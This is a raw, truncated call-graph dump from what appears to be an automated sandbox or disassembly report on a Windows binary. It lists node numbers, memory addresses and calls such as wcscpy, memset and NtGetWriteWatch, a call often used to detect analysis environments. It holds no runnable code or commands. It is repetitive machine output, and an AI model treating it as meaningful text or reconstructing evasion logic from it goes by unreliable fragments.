3125->3124 3127 7ff7657b14d6 3126->3127 3128 7ff7657b1394 2 API calls 3127->3128 3129 7ff7657b14e0 3128->3129 3130 7ff7657b14e5 3129->3130 3131 7ff7657b1394 2 API calls 3129->3131 3132 7ff7657b1394 2 API calls 3130->3132 3131->3130 3133 7ff7657b14ef 3132->3133 3134 7ff7657b14f4 3133->3134 3135 7ff7657b1394 2 API calls 3133->3135 3136 7ff7657b1394 2 API calls 3134->3136 3135->3134 3137 7ff7657b14fe 3136->3137 3138 7ff7657b1503 3137->3138 3139 7ff7657b1394 2 API calls 3137->3139 3140 7ff7657b1394 2 API calls 3138->3140 3139->3138 3141 7ff7657b150d 3140->3141 3142 7ff7657b1394 2 API calls 3141->3142 3143 7ff7657b1512 3142->3143 3144 7ff7657b1394 2 API calls 3143->3144 3145 7ff7657b1521 3144->3145 3146 7ff7657b1394 2 API calls 3145->3146 3147 7ff7657b1530 3146->3147 3148 7ff7657b1394 2 API calls 3147->3148 3149 7ff7657b153f 3148->3149 3150 7ff7657b1394 2 API calls 3149->3150 3151 7ff7657b154e 3150->3151 3152 7ff7657b1394 2 API calls 3151->3152 3153 7ff7657b155d 3152->3153 3154 7ff7657b1394 2 API calls 3153->3154 3155 7ff7657b156c 3154->3155 3156 7ff7657b1394 2 API calls 3155->3156 3157 7ff7657b157b 3156->3157 3158 7ff7657b1394 2 API calls 3157->3158 3159 7ff7657b158a 3158->3159 3160 7ff7657b1394 2 API calls 3159->3160 3161 7ff7657b1599 3160->3161 3162 7ff7657b15a8 3161->3162 3163 7ff7657b1394 2 API calls 3161->3163 3164 7ff7657b1394 2 API calls 3162->3164 3163->3162 3165 7ff7657b15b7 3164->3165 3166 7ff7657b1394 2 API calls 3165->3166 3167 7ff7657b15c1 3166->3167 3168 7ff7657b15c6 3167->3168 3169 7ff7657b1394 2 API calls 3167->3169 3170 7ff7657b1394 2 API calls 3168->3170 3169->3168 3171 7ff7657b15d0 3170->3171 3172 7ff7657b15d5 3171->3172 3173 7ff7657b1394 2 API calls 3171->3173 3174 7ff7657b1394 2 API calls 3172->3174 3173->3172 3175 7ff7657b15df 3174->3175 3176 7ff7657b15e4 3175->3176 3177 7ff7657b1394 2 API calls 3175->3177 3178 7ff7657b1394 2 API calls 3176->3178 3177->3176 3179 7ff7657b15f3 3178->3179 3179->2788 3180 7ff7657b1404 3179->3180 3181 7ff7657b1394 2 API calls 3180->3181 3182 7ff7657b1413 3181->3182 3183 7ff7657b1394 2 API calls 3182->3183 3184 7ff7657b1422 3183->3184 3185 7ff7657b1394 2 API calls 3184->3185 3186 7ff7657b1431 3185->3186 3187 7ff7657b1394 2 API calls 3186->3187 3188 7ff7657b1440 3187->3188 3189 7ff7657b1394 2 API calls 3188->3189 3190 7ff7657b144f 3189->3190 3191 7ff7657b1394 2 API calls 3190->3191 3192 7ff7657b145e 3191->3192 3193 7ff7657b1394 2 API calls 3192->3193 3194 7ff7657b146d 3193->3194 3195 7ff7657b1394 2 API calls 3194->3195 3196 7ff7657b147c 3195->3196 3197 7ff7657b1394 2 API calls 3196->3197 3198 7ff7657b148b 3197->3198 3199 7ff7657b149a 3198->3199 3200 7ff7657b1394 2 API calls 3198->3200 3201 7ff7657b1394 2 API calls 3199->3201 3200->3199 3202 7ff7657b14a4 3201->3202 3203 7ff7657b14a9 3202->3203 3204 7ff7657b1394 2 API calls 3202->3204 3205 7ff7657b1394 2 API calls 3203->3205 3204->3203 3206 7ff7657b14b3 3205->3206 3207 7ff7657b14b8 3206->3207 3208 7ff7657b1394 2 API calls 3206->3208 3209 7ff7657b1394 2 API calls 3207->3209 3208->3207 3210 7ff7657b14c2 3209->3210 3211 7ff7657b14c7 3210->3211 3212 7ff7657b1394 2 API calls 3210->3212 3213 7ff7657b1394 2 API calls 3211->3213 3212->3211 3214 7ff7657b14d6 3213->3214 3215 7ff7657b1394 2 API calls 3214->3215 3216 7ff7657b14e0 3215->3216 3217 7ff7657b14e5 3216->3217 3218 7ff7657b1394 2 API calls 3216->3218 3219 7ff7657b1394 2 API calls 3217->3219 3218->3217 3220 7ff7657b14ef 3219->3220 3221 7ff7657b14f4 3220->3221 3222 7ff7657b1394 2 API calls 3220->3222 3223 7ff7657b1394 2 API calls 3221->3223 3222->3221 3224 7ff7657b14fe 3223->3224 3225 7ff7657b1503 3224->3225 3226 7ff7657b1394 2 API calls 3224->3226 3227 7ff7657b1394 2 API calls 3225->3227 3226->3225 3228 7ff7657b150d 3227->3228 3229 7ff7657b1394 2 API calls 3228->3229 3230 7ff7657b1512 3229->3230 3231 7ff7657b1394 2 API calls 3230->3231 3232 7ff7657b1521 3231->3232 3233 7ff7657b1394 2 API calls 3232->3233 3234 7ff7657b1530 3233->3234 3235 7ff7657b1394 2 API calls 3234->3235 3236 7ff7657b153f 3235->3236 3237 7ff7657b1394 2 API calls 3236->3237 3238 7ff7657b154e 3237->3238 3239 7ff7657b1394 2 API calls 3238->3239 3240 7ff7657b155d 3239->3240 3241 7ff7657b1394 2 API calls 3240->3241 3242 7ff7657b156c 3241->3242 3243 7ff7657b1394 2 API calls 3242->3243 3244 7ff7657b157b 3243->3244 3245 7ff7657b1394 2 API calls 3244->3245 3246 7ff7657b158a 3245->3246 3247 7ff7657b1394 2 API calls 3246->3247 3248 7ff7657b1599 3247->3248 3249 7ff7657b15a8 3248->3249 3250 7ff7657b1394 2 API calls 3248->3250 3251 7ff7657b1394 2 API calls 3249->3251 3250->3249 3252 7ff7657b15b7 3251->3252 3253 7ff7657b1394 2 API calls 3252->3253 3254 7ff7657b15c1 3253->3254 3255 7ff7657b15c6 3254->3255 3256 7ff7657b1394 2 API calls 3254->3256 3257 7ff7657b1394 2 API calls 3255->3257 3256->3255 3258 7ff7657b15d0 3257->3258 3259 7ff7657b15d5 3258->3259 3260 7ff7657b1394 2 API calls 3258->3260 3261 7ff7657b1394 2 API calls 3259->3261 3260->3259 3262 7ff7657b15df 3261->3262 3263 7ff7657b15e4 3262->3263 3264 7ff7657b1394 2 API calls 3262->3264 3265 7ff7657b1394 2 API calls 3263->3265 3264->3263 3266 7ff7657b15f3 3265->3266 3266->2792 3268 7ff7657b1394 2 API calls 3267->3268 3269 7ff7657b158a 3268->3269 3270 7ff7657b1394 2 API calls 3269->3270 3271 7ff7657b1599 3270->3271 3272 7ff7657b15a8 3271->3272 3273 7ff7657b1394 2 API calls 3271->3273 3274 7ff7657b1394 2 API calls 3272->3274 3273->3272 3275 7ff7657b15b7 3274->3275 3276 7ff7657b1394 2 API calls 3275->3276 3277 7ff7657b15c1 3276->3277 3278 7ff7657b15c6 3277->3278 3279 7ff7657b1394 2 API calls 3277->3279 3280 7ff7657b1394 2 API calls 3278->3280 3279->3278 3281 7ff7657b15d0 3280->3281 3282 7ff7657b15d5 3281->3282 3283 7ff7657b1394 2 API calls 3281->3283 3284 7ff7657b1394 2 API calls 3282->3284 3283->3282 3285 7ff7657b15df 3284->3285 3286 7ff7657b15e4 3285->3286 3287 7ff7657b1394 2 API calls 3285->3287 3288 7ff7657b1394 2 API calls 3286->3288 3287->3286 3289 7ff7657b15f3 3288->3289 3289->2805 3290 7ff7657b158a 3289->3290 3291 7ff7657b1394 2 API calls 3290->3291 3292 7ff7657b1599 3291->3292 3293 7ff7657b15a8 3292->3293 3294 7ff7657b1394 2 API calls 3292->3294 3295 7ff7657b1394 2 API calls 3293->3295 3294->3293 3296 7ff7657b15b7 3295->3296 3297 7ff7657b1394 2 API calls 3296->3297 3298 7ff7657b15c1 3297->3298 3299 7ff7657b15c6 3298->3299 3300 7ff7657b1394 2 API calls 3298->3300 3301 7ff7657b1394 2 API calls 3299->3301 3300->3299 3302 7ff7657b15d0 3301->3302 3303 7ff7657b15d5 3302->3303 3304 7ff7657b1394 2 API calls 3302->3304 3305 7ff7657b1394 2 API calls 3303->3305 3304->3303 3306 7ff7657b15df 3305->3306 3307 7ff7657b15e4 3306->3307 3308 7ff7657b1394 2 API calls 3306->3308 3309 7ff7657b1394 2 API calls 3307->3309 3308->3307 3310 7ff7657b15f3 3309->3310 3310->2805 3312 7ff7657b1394 2 API calls 3311->3312 3313 7ff7657b15f3 3312->3313 3313->2803 3315 7ff7657b1394 2 API calls 3314->3315 3316 7ff7657b15b7 3315->3316 3317 7ff7657b1394 2 API calls 3316->3317 3318 7ff7657b15c1 3317->3318 3319 7ff7657b15c6 3318->3319 3320 7ff7657b1394 2 API calls 3318->3320 3321 7ff7657b1394 2 API calls 3319->3321 3320->3319 3322 7ff7657b15d0 3321->3322 3323 7ff7657b15d5 3322->3323 3324 7ff7657b1394 2 API calls 3322->3324 3325 7ff7657b1394 2 API calls 3323->3325 3324->3323 3326 7ff7657b15df 3325->3326 3327 7ff7657b15e4 3326->3327 3328 7ff7657b1394 2 API calls 3326->3328 3329 7ff7657b1394 2 API calls 3327->3329 3328->3327 3330 7ff7657b15f3 3329->3330 3330->2823 3330->2824 3332 7ff7657b1394 2 API calls 3331->3332 3333 7ff7657b153f 3332->3333 3334 7ff7657b1394 2 API calls 3333->3334 3335 7ff7657b154e 3334->3335 3336 7ff7657b1394 2 API calls 3335->3336 3337 7ff7657b155d 3336->3337 3338 7ff7657b1394 2 API calls 3337->3338 3339 7ff7657b156c 3338->3339 3340 7ff7657b1394 2 API calls 3339->3340 3341 7ff7657b157b 3340->3341 3342 7ff7657b1394 2 API calls 3341->3342 3343 7ff7657b158a 3342->3343 3344 7ff7657b1394 2 API calls 3343->3344 3345 7ff7657b1599 3344->3345 3346 7ff7657b15a8 3345->3346 3347 7ff7657b1394 2 API calls 3345->3347 3348 7ff7657b1394 2 API calls 3346->3348 3347->3346 3349 7ff7657b15b7 3348->3349 3350 7ff7657b1394 2 API calls 3349->3350 3351 7ff7657b15c1 3350->3351 3352 7ff7657b15c6 3351->3352 3353 7ff7657b1394 2 API calls 3351->3353 3354 7ff7657b1394 2 API calls 3352->3354 3353->3352 3355 7ff7657b15d0 3354->3355 3356 7ff7657b15d5 3355->3356 3357 7ff7657b1394 2 API calls 3355->3357 3358 7ff7657b1394 2 API calls 3356->3358 3357->3356 3359 7ff7657b15df 3358->3359 3360 7ff7657b15e4 3359->3360 3361 7ff7657b1394 2 API calls 3359->3361 3362 7ff7657b1394 2 API calls 3360->3362 3361->3360 3363 7ff7657b15f3 3362->3363 3363->2847 3363->2848 3365 7ff7657b1394 2 API calls 3364->3365 3366 7ff7657b14b3 3365->3366 3367 7ff7657b14b8 3366->3367 3368 7ff7657b1394 2 API calls 3366->3368 3369 7ff7657b1394 2 API calls 3367->3369 3368->3367 3370 7ff7657b14c2 3369->3370 3371 7ff7657b14c7 3370->3371 3372 7ff7657b1394 2 API calls 3370->3372 3373 7ff7657b1394 2 API calls 3371->3373 3372->3371 3374 7ff7657b14d6 3373->3374 3375 7ff7657b1394 2 API calls 3374->3375 3376 7ff7657b14e0 3375->3376 3377 7ff7657b14e5 3376->3377 3378 7ff7657b1394 2 API calls 3376->3378 3379 7ff7657b1394 2 API calls 3377->3379 3378->3377 3380 7ff7657b14ef 3379->3380 3381 7ff7657b14f4 3380->3381 3382 7ff7657b1394 2 API calls 3380->3382 3383 7ff7657b1394 2 API calls 3381->3383 3382->3381 3384 7ff7657b14fe 3383->3384 3385 7ff7657b1503 3384->3385 3386 7ff7657b1394 2 API calls 3384->3386 3387 7ff7657b1394 2 API calls 3385->3387 3386->3385 3388 7ff7657b150d 3387->3388 3389 7ff7657b1394 2 API calls 3388->3389 3390 7ff7657b1512 3389->3390 3391 7ff7657b1394 2 API calls 3390->3391 3392 7ff7657b1521 3391->3392 3393 7ff7657b1394 2 API calls 3392->3393 3394 7ff7657b1530 3393->3394 3395 7ff7657b1394 2 API calls 3394->3395 3396 7ff7657b153f 3395->3396 3397 7ff7657b1394 2 API calls 3396->3397 3398 7ff7657b154e 3397->3398 3399 7ff7657b1394 2 API calls 3398->3399 3400 7ff7657b155d 3399->3400 3401 7ff7657b1394 2 API calls 3400->3401 3402 7ff7657b156c 3401->3402 3403 7ff7657b1394 2 API calls 3402->3403 3404 7ff7657b157b 3403->3404 3405 7ff7657b1394 2 API calls 3404->3405 3406 7ff7657b158a 3405->3406 3407 7ff7657b1394 2 API calls 3406->3407 3408 7ff7657b1599 3407->3408 3409 7ff7657b15a8 3408->3409 3410 7ff7657b1394 2 API calls 3408->3410 3411 7ff7657b1394 2 API calls 3409->3411 3410->3409 3412 7ff7657b15b7 3411->3412 3413 7ff7657b1394 2 API calls 3412->3413 3414 7ff7657b15c1 3413->3414 3415 7ff7657b15c6 3414->3415 3416 7ff7657b1394 2 API calls 3414->3416 3417 7ff7657b1394 2 API calls 3415->3417 3416->3415 3418 7ff7657b15d0 3417->3418 3419 7ff7657b15d5 3418->3419 3420 7ff7657b1394 2 API calls 3418->3420 3421 7ff7657b1394 2 API calls 3419->3421 3420->3419 3422 7ff7657b15df 3421->3422 3423 7ff7657b15e4 3422->3423 3424 7ff7657b1394 2 API calls 3422->3424 3425 7ff7657b1394 2 API calls 3423->3425 3424->3423 3426 7ff7657b15f3 3425->3426 3426->2855 3427 7ff7657b1440 3426->3427 3428 7ff7657b1394 2 API calls 3427->3428 3429 7ff7657b144f 3428->3429 3430 7ff7657b1394 2 API calls 3429->3430 3431 7ff7657b145e 3430->3431 3432 7ff7657b1394 2 API calls 3431->3432 3433 7ff7657b146d 3432->3433 3434 7ff7657b1394 2 API calls 3433->3434 3435 7ff7657b147c 3434->3435 3436 7ff7657b1394 2 API calls 3435->3436 3437 7ff7657b148b 3436->3437 3438 7ff7657b149a 3437->3438 3439 7ff7657b1394 2 API calls 3437->3439 3440 7ff7657b1394 2 API calls 3438->3440 3439->3438 3441 7ff7657b14a4 3440->3441 3442 7ff7657b14a9 3441->3442 3443 7ff7657b1394 2 API calls 3441->3443 3444 7ff7657b1394 2 API calls 3442->3444 3443->3442 3445 7ff7657b14b3 3444->3445 3446 7ff7657b14b8 3445->3446 3447 7ff7657b1394 2 API calls 3445->3447 3448 7ff7657b1394 2 API calls 3446->3448 3447->3446 3449 7ff7657b14c2 3448->3449 3450 7ff7657b14c7 3449->3450 3451 7ff7657b1394 2 API calls 3449->3451 3452 7ff7657b1394 2 API calls 3450->3452 3451->3450 3453 7ff7657b14d6 3452->3453 3454 7ff7657b1394 2 API calls 3453->3454 3455 7ff7657b14e0 3454->3455 3456 7ff7657b14e5 3455->3456 3457 7ff7657b1394 2 API calls 3455->3457 3458 7ff7657b1394 2 API calls 3456->3458 3457->3456 3459 7ff7657b14ef 3458->3459 3460 7ff7657b14f4 3459->3460 3461 7ff7657b1394 2 API calls 3459->3461 3462 7ff7657b1394 2 API calls 3460->3462 3461->3460 3463 7ff7657b14fe 3462->3463 3464 7ff7657b1503 3463->3464 3465 7ff7657b1394 2 API calls 3463->3465 3466 7ff7657b1394 2 API calls 3464->3466 3465->3464 3467 7ff7657b150d 3466->3467 3468 7ff7657b1394 2 API calls 3467->3468 3469 7ff7657b1512 3468->3469 3470 7ff7657b1394 2 API calls 3469->3470 3471 7ff7657b1521 3470->3471 3472 7ff7657b1394 2 API calls 3471->3472 3473 7ff7657b1530 3472->3473 3474 7ff7657b1394 2 API calls 3473->3474 3475 7ff7657b153f 3474->3475 3476 7ff7657b1394 2 API calls 3475->3476 3477 7ff7657b154e 3476->3477 3478 7ff7657b1394 2 API calls 3477->3478 3479 7ff7657b155d 3478->3479 3480 7ff7657b1394 2 API calls 3479->3480 3481 7ff7657b156c 3480->3481 3482 7ff7657b1394 2 API calls 3481->3482 3483 7ff7657b157b 3482->3483 3484 7ff7657b1394 2 API calls 3483->3484 3485 7ff7657b158a 3484->3485 3486 7ff7657b1394 2 API calls 3485->3486 3487 7ff7657b1599 3486->3487 3488 7ff7657b15a8 3487->3488 3489 7ff7657b1394 2 API calls 3487->3489 3490 7ff7657b1394 2 API calls 3488->3490 3489->3488 3491 7ff7657b15b7 3490->3491 3492 7ff7657b1394 2 API calls 3491->3492 3493 7ff7657b15c1 3492->3493 3494 7ff7657b15c6 3493->3494 3495 7ff7657b1394 2 API calls 3493->3495 3496 7ff7657b1394 2 API calls 3494->3496 3495->3494 3497 7ff7657b15d0 3496->3497 3498 7ff7657b15d5 3497->3498 3499 7ff7657b1394 2 API calls 3497->3499 3500 7ff7657b1394 2 API calls 3498->3500 3499->3498 3501 7ff7657b15df 3500->3501 3502 7ff7657b15e4 3501->3502 3503 7ff7657b1394 2 API calls 3501->3503 3504 7ff7657b1394 2 API calls 3502->3504 3503->3502 3505 7ff7657b15f3 3504->3505 3505->2855 3505->2868 3507 7ff7657b35c1 memset 3506->3507 3516 7ff7657b33c3 3506->3516 3509 7ff7657b35e6 3507->3509 3508 7ff7657b343a memset 3508->3516 3510 7ff7657b362b wcscpy wcscat wcslen 3509->3510 3511 7ff7657b1422 2 API calls 3510->3511 3513 7ff7657b3728 3511->3513 3512 7ff7657b3493 wcscpy wcscat wcslen 3807 7ff7657b1422 3512->3807 3515 7ff7657b3767 3513->3515 3890 7ff7657b1431 3513->3890 3522 7ff7657b14c7 3515->3522 3516->3507 3516->3508 3516->3512 3519 7ff7657b145e 2 API calls 3516->3519 3521 7ff7657b3579 3516->3521 3519->3516 3520 7ff7657b145e 2 API calls 3520->3515 3521->3507 3523 7ff7657b1394 2 API calls 3522->3523 3524 7ff7657b14d6 3523->3524 3525 7ff7657b1394 2 API calls 3524->3525 3526 7ff7657b14e0 3525->3526 3527 7ff7657b14e5 3526->3527 3528 7ff7657b1394 2 API calls 3526->3528 3529 7ff7657b1394 2 API calls 3527->3529 3528->3527 3530 7ff7657b14ef 3529->3530 3531 7ff7657b14f4 3530->3531 3532 7ff7657b1394 2 API calls 3530->3532 3533 7ff7657b1394 2 API calls 3531->3533 3532->3531 3534 7ff7657b14fe 3533->3534 3535 7ff7657b1503 3534->3535 3536 7ff7657b1394 2 API calls 3534->3536 3537 7ff7657b1394 2 API calls 3535->3537 3536->3535 3538 7ff7657b150d 3537->3538 3539 7ff7657b1394 2 API calls 3538->3539 3540 7ff7657b1512 3539->3540 3541 7ff7657b1394 2 API calls 3540->3541 3542 7ff7657b1521 3541->3542 3543 7ff7657b1394 2 API calls 3542->3543 3544 7ff7657b1530 3543->3544 3545 7ff7657b1394 2 API calls 3544->3545 3546 7ff7657b153f 3545->3546 3547 7ff7657b1394 2 API calls 3546->3547 3548 7ff7657b154e 3547->3548 3549 7ff7657b1394 2 API calls 3548->3549 3550 7ff7657b155d 3549->3550 3551 7ff7657b1394 2 API calls 3550->3551 3552 7ff7657b156c 3551->3552 3553 7ff7657b1394 2 API calls 3552->3553 3554 7ff7657b157b 3553->3554 3555 7ff7657b1394 2 API calls 3554->3555 3556 7ff7657b158a 3555->3556 3557 7ff7657b1394 2 API calls 3556->3557 3558 7ff7657b1599 3557->3558 3559 7ff7657b15a8 3558->3559 3560 7ff7657b1394 2 API calls 3558->3560 3561 7ff7657b1394 2 API calls 3559->3561 3560->3559 3562 7ff7657b15b7 3561->3562 3563 7ff7657b1394 2 API calls 3562->3563 3564 7ff7657b15c1 3563->3564 3565 7ff7657b15c6 3564->3565 3566 7ff7657b1394 2 API calls 3564->3566 3567 7ff7657b1394 2 API calls 3565->3567 3566->3565 3568 7ff7657b15d0 3567->3568 3569 7ff7657b15d5 3568->3569 3570 7ff7657b1394 2 API calls 3568->3570 3571 7ff7657b1394 2 API calls 3569->3571 3570->3569 3572 7ff7657b15df 3571->3572 3573 7ff7657b15e4 3572->3573 3574 7ff7657b1394 2 API calls 3572->3574 3575 7ff7657b1394 2 API calls 3573->3575 3574->3573 3576 7ff7657b15f3 3575->3576 3576->2884 3578 7ff7657b2f88 3577->3578 3579 7ff7657b14a9 2 API calls 3578->3579 3580 7ff7657b2fd0 3579->3580 3580->2856 3582 7ff7657b2690 10 API calls 3581->3582 3583 7ff7657b391e 3582->3583 3584 7ff7657b3b21 3583->3584 3585 7ff7657b14a9 2 API calls 3583->3585 3584->2869 3586 7ff7657b3967 3585->3586 3587 7ff7657b3b28 3586->3587 3971 7ff7657b14b8 3586->3971 4244 7ff7657b15c6 3587->4244 3590 7ff7657b3a87 memset 4037 7ff7657b148b 3590->4037 3593 7ff7657b14b8 2 API calls 3594 7ff7657b398f 3593->3594 3594->3590 3594->3593 4030 7ff7657b15d5 3594->4030 3598 7ff7657b14b8 2 API calls 3599 7ff7657b3b07 3598->3599 3599->3587 3600 7ff7657b3b0b 3599->3600 4173 7ff7657b147c 3600->4173 3603 7ff7657b145e 2 API calls 3603->3584 3608 7ff7657b8330 3604->3608 3606 7ff7657b13b8 3607 7ff7657b13c6 NtGetWriteWatch 3606->3607 3607->2925 3609 7ff7657b834e 3608->3609 3612 7ff7657b837b 3608->3612 3609->3606 3610 7ff7657b8423 3611 7ff7657b843f malloc 3610->3611 3613 7ff7657b8460 3611->3613 3612->3609 3612->3610 3613->3609 3615 7ff7657b266f 3614->3615 3615->3097 3615->3615 3686 7ff7657b155d 3616->3686 3618 7ff7657b27f4 3619 7ff7657b14c7 2 API calls 3618->3619 3622 7ff7657b2816 3619->3622 3620 7ff7657b2785 wcsncmp 3713 7ff7657b14e5 3620->3713 3624 7ff7657b1503 2 API calls 3622->3624 3626 7ff7657b283d 3624->3626 3625 7ff7657b2d27 3627 7ff7657b2847 memset 3626->3627 3628 7ff7657b2877 3627->3628 3629 7ff7657b28bc wcscpy wcscat wcslen 3628->3629 3630 7ff7657b291a 3629->3630 3631 7ff7657b28ee wcslen 3629->3631 3632 7ff7657b2967 wcslen 3630->3632 3634 7ff7657b2985 3630->3634 3631->3630 3632->3634 3633 7ff7657b29d9 wcslen 3635 7ff7657b14a9 2 API calls 3633->3635 3634->3625 3634->3633 3636 7ff7657b2a73 3635->3636 3637 7ff7657b14a9 2 API calls 3636->3637 3638 7ff7657b2bd2 3637->3638 3762 7ff7657b14f4 3638->3762 3641 7ff7657b14c7 2 API calls 3642 7ff7657b2c99 3641->3642 3643 7ff7657b14c7 2 API calls 3642->3643 3644 7ff7657b2cb1 3643->3644 3645 7ff7657b145e 2 API calls 3644->3645 3646 7ff7657b2cbb 3645->3646 3647 7ff7657b145e 2 API calls 3646->3647 3648 7ff7657b2cc5 3647->3648 3648->3101 3650 7ff7657b1394 2 API calls 3649->3650 3651 7ff7657b1521 3650->3651 3652 7ff7657b1394 2 API calls 3651->3652 3653 7ff7657b1530 3652->3653 3654 7ff7657b1394 2 API calls 3653->3654 3655 7ff7657b153f 3654->3655 3656 7ff7657b1394 2 API calls 3655->3656 3657 7ff7657b154e 3656->3657 3658 7ff7657b1394 2 API calls 3657->3658 3659 7ff7657b155d 3658->3659 3660 7ff7657b1394 2 API calls 3659->3660 3661 7ff7657b156c 3660->3661 3662 7ff7657b1394 2 API calls 3661->3662 3663 7ff7657b157b 3662->3663 3664 7ff7657b1394 2 API calls 3663->3664 3665 7ff7657b158a 3664->3665 3666 7ff7657b1394 2 API calls 3665->3666 3667 7ff7657b1599 3666->3667 3668 7ff7657b15a8 3667->3668 3669 7ff7657b1394 2 API calls 3667->3669 3670 7ff7657b1394 2 API calls 3668->3670 3669->3668 3671 7ff7657b15b7 3670->3671 3672 7ff7657b1394 2 API calls 3671->3672 3673 7ff7657b15c1 3672->3673 3674 7ff7657b15c6 3673->3674 3675 7ff7657b1394 2 API calls 3673->3675 3676 7ff7657b1394 2 API calls 3674->3676 3675->3674 3677 7ff7657b15d0 3676->3677 3678 7ff7657b15d5 3677->3678 3679 7ff7657b1394 2 API calls 3677->3679 3680 7ff7657b1394 2 API calls 3678->3680 3679->3678 3681 7ff7657b15df 3680->3681 3682 7ff7657b15e4 3681->3682 3683 7ff7657b1394 2 API calls 3681->3683 3684 7ff7657b1394 2 API calls 3682->3684 3683->3682 3685 7ff7657b15f3 3684->3685 3685->3103 3687 7ff7657b1394 2 API calls 3686->3687 3688 7ff7657b156c 3687->3688 3689 7ff7657b1394 2 API calls 3688->3689 3690 7ff7657b157b 3689->3690 3691 7ff7657b1394 2 API calls 3690->3691 3692 7ff7657b158a 3691->3692 3693 7ff7657b1394 2 API calls 3692->3693 3694 7ff7657b1599 3693->3694 3695 7ff7657b15a8 3694->3695 3696 7ff7657b1394 2 API calls 3694->3696 3697 7ff7657b1394 2 API calls 3695->3697 3696->3695 3698 7ff7657b15b7 3697->3698 3699 7ff7657b1394 2 API calls 3698->3699 3700 7ff7657b15c1 3699->3700 3701 7ff7657b15c6 3700->3701 3702 7ff7657b1394 2 API calls 3700->3702 3703 7ff7657b1394 2 API calls 3701->3703 3702->3701 3704 7ff7657b15d0 3703->3704 3705 7ff7657b15d5 3704->3705 3706 7ff7657b1394 2 API calls 3704->3706 3707 7ff7657b1394 2 API calls 3705->3707 3706->3705 3708 7ff7657b15df 3707->3708 3709 7ff7657b15e4 3708->3709 3710 7ff7657b1394 2 API calls 3708->3710 3711 7ff7657b1394 2 API calls 3709->3711 3710->3709 3712 7ff7657b15f3 3711->3712 3712->3618 3712->3620 3712->3625 3714 7ff7657b1394 2 API calls 3713->3714 3715 7ff7657b14ef 3714->3715 3716 7ff7657b14f4 3715->3716 3717 7ff7657b1394 2 API calls 3715->3717 3718 7ff7657b1394 2 API calls 3716->3718 3717->3716 3719 7ff7657b14fe 3718->3719 3720 7ff7657b1503 3719->3720 3721 7ff7657b1394 2 API calls 3719->3721 3722 7ff7657b1394 2 API calls 3720->3722 3721->3720 3723 7ff7657b150d 3722->3723 3724 7ff7657b1394 2 API calls 3723->3724 3725 7ff7657b1512 3724->3725 3726 7ff7657b1394 2 API calls 3725->3726 3727 7ff7657b1521 3726->3727 3728 7ff7657b1394 2 API calls 3727->3728 3729 7ff7657b1530 3728->3729 3730 7ff7657b1394 2 API calls 3729->3730 3731 7ff7657b153f 3730->3731 3732 7ff7657b1394 2 API calls 3731->3732 3733 7ff7657b154e 3732->3733 3734 7ff7657b1394 2 API calls 3733->3734 3735 7ff7657b155d 3734->3735 3736 7ff7657b1394 2 API calls 3735->3736 3737 7ff7657b156c 3736->3737 3738 7ff7657b1394 2 API calls 3737->3738 3739 7ff7657b157b 3738->3739 3740 7ff7657b1394 2 API calls 3739->3740 3741 7ff7657b158a 3740->3741 3742 7ff7657b1394 2 API calls 3741->3742 3743 7ff7657b1599 3742->3743 3744 7ff7657b15a8 3743->3744 3745 7ff7657b1394 2 API calls 3743->3745 3746 7ff7657b1394 2 API calls 3744->3746 3745->3744 3747 7ff7657b15b7 3746->3747 3748 7ff7657b1394 2 API calls 3747->3748 3749 7ff7657b15c1 3748->3749 3750 7ff7657b15c6 3749->3750 3751 7ff7657b1394 2 API calls 3749->3751 3752 7ff7657b1394 2 API calls 3750->3752 3751->3750 3753 7ff7657b15d0 3752->3753 3754 7ff7657b15d5 3753->3754 3755 7ff7657b1394 2 API calls 3753->3755 3756 7ff7657b1394 2 API calls 3754->3756 3755->3754 3757 7ff7657b15df 3756->3757 3758 7ff7657b15e4 3757->3758 3759 7ff7657b1394 2 API calls 3757->3759 3760 7ff7657b1394 2 API calls 3758->3760 3759->3758 3761 7ff7657b15f3 3760->3761 3761->3618 3763 7ff7657b1394 2 API calls 3762->3763 3764 7ff7657b14fe 3763->3764 3765 7ff7657b1503 3764->3765 3766 7ff7657b1394 2 API calls 3764->3766 3767 7ff7657b1394 2 API calls 3765->3767 3766->3765 3768 7ff7657b150d 3767->3768 3769 7ff7657b1394 2 API calls 3768->3769 3770 7ff7657b1512 3769->3770 3771 7ff7657b1394 2 API calls 3770->3771 3772 7ff7657b1521 3771->3772 3773 7ff7657b1394 2 API calls 3772->3773 3774 7ff7657b1530 3773->3774 3775 7ff7657b1394 2 API calls 3774->3775 3776 7ff7657b153f 3775->3776 3777 7ff7657b1394 2 API calls 3776->3777 3778 7ff7657b154e 3777->3778 3779 7ff7657b1394 2 API calls 3778->3779 3780 7ff7657b155d 3779->3780 3781 7ff7657b1394 2 API calls 3780->3781 3782 7ff7657b156c 3781->3782 3783 7ff7657b1394 2 API calls 3782->3783 3784 7ff7657b157b 3783->3784 3785 7ff7657b1394 2 API calls 3784->3785 3786 7ff7657b158a 3785->3786 3787 7ff7657b1394 2 API calls 3786->3787 3788 7ff7657b1599 3787->3788 3789 7ff7657b15a8 3788->3789 3790 7ff7657b1394 2 API calls 3788->3790 3791 7ff7657b1394 2 API calls 3789->3791 3790->3789 3792 7ff7657b15b7 3791->3792 3793 7ff7657b1394 2 API calls 3792->3793 3794 7ff7657b15c1 3793->3794 3795 7ff7657b15c6 3794->3795 3796 7ff7657b1394 2 API calls 3794->3796 3797 7ff7657b1394 2 API calls 3795->3797 3796->3795 3798 7ff7657b15d0 3797->3798 3799 7ff7657b15d5 3798->3799 3800 7ff7657b1394 2 API calls 3798->3800 3801 7ff7657b1394 2 API calls 3799->3801 3800->3799 3802 7ff7657b15df 3801->3802 3803 7ff7657b15e4 3802->3803 3804 7ff7657b1394 2 API calls 3802->3804 3805 7ff7657b1394 2 API calls 3803->3805 3804->3803 3806 7ff7657b15f3 3805->3806 3806->3641 3808 7ff7657b1394 2 API calls 3807->3808 3809 7ff7657b1431 3808->3809 3810 7ff7657b1394 2 API calls 3809->3810 3811 7ff7657b1440 3810->3811 3812 7ff7657b1394 2 API calls 3811->3812 3813 7ff7657b144f 3812->3813 3814 7ff7657b1394 2 API calls 3813->3814 3815 7ff7657b145e 3814->3815 3816 7ff7657b1394 2 API calls 3815->3816 3817 7ff7657b146d 3816->3817 3818 7ff7657b1394 2 API calls 3817->3818 3819 7ff7657b147c 3818->3819 3820 7ff7657b1394 2 API calls 3819->3820 3821 7ff7657b148b 3820->3821 3822 7ff7657b149a 3821->3822 3823 7ff7657b1394 2 API calls 3821->3823 3824 7ff7657b1394 2 API calls 3822->3824 3823->3822 3825 7ff7657b14a4 3824->3825 3826 